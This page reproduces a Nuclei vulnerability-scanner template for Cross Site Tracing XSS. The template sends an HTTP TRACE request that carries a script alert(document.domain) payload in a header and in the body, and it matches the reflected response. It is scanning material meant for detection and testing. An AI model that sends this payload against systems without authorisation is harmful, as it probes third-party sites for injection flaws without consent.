cross-site-tracing-xss: Cross Site Tracing - Cross-Site Scripting

2026-01-08 cross sitetracing xss PoC Public

Description

Cross-site scripting vulnerability was discovered via HTTP TRACE method reflection. The TRACE method reflects the request body back in the response, which can beexploited for XSS attacks when user input is reflected without proper sanitization.

PoC

id: cross-site-tracing-xss

info:
  name: Cross Site Tracing - Cross-Site Scripting
  author: ritikchaddha
  severity: low
  description: |
    Cross-site scripting vulnerability was discovered via HTTP TRACE method reflection. The TRACE method reflects the request body back in the response, which can beexploited for XSS attacks when user input is reflected without proper sanitization.
  reference:
    - https://medium.com/@tushar_rs_/cross-site-tracing-attack-xst-5aa519658b7a
    - https://www.owasp.org/index.php/Cross_Site_Tracing
  classification:
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,trace,generic,vuln

http:
  - raw:
      - |
        TRACE / HTTP/1.1
        Host: {{Hostname}}
        Header: <script>alert(document.domain)</script>
        Content-Length: 27

        <script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "Header: <script>alert(document.domain)</script>"
          - "TRACE"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
          - "message/http"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210091650eeaa389f6de43ea27aad371caf9877c97a2d5e5e39611deb1d98dc878b402201283f3bd63cbd6f81ebf1e245ad0b71e573a65e430beeebc49f6836f0e4b78fa:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/cross-site-tracing-xss.yaml

References

Related Vulnerabilities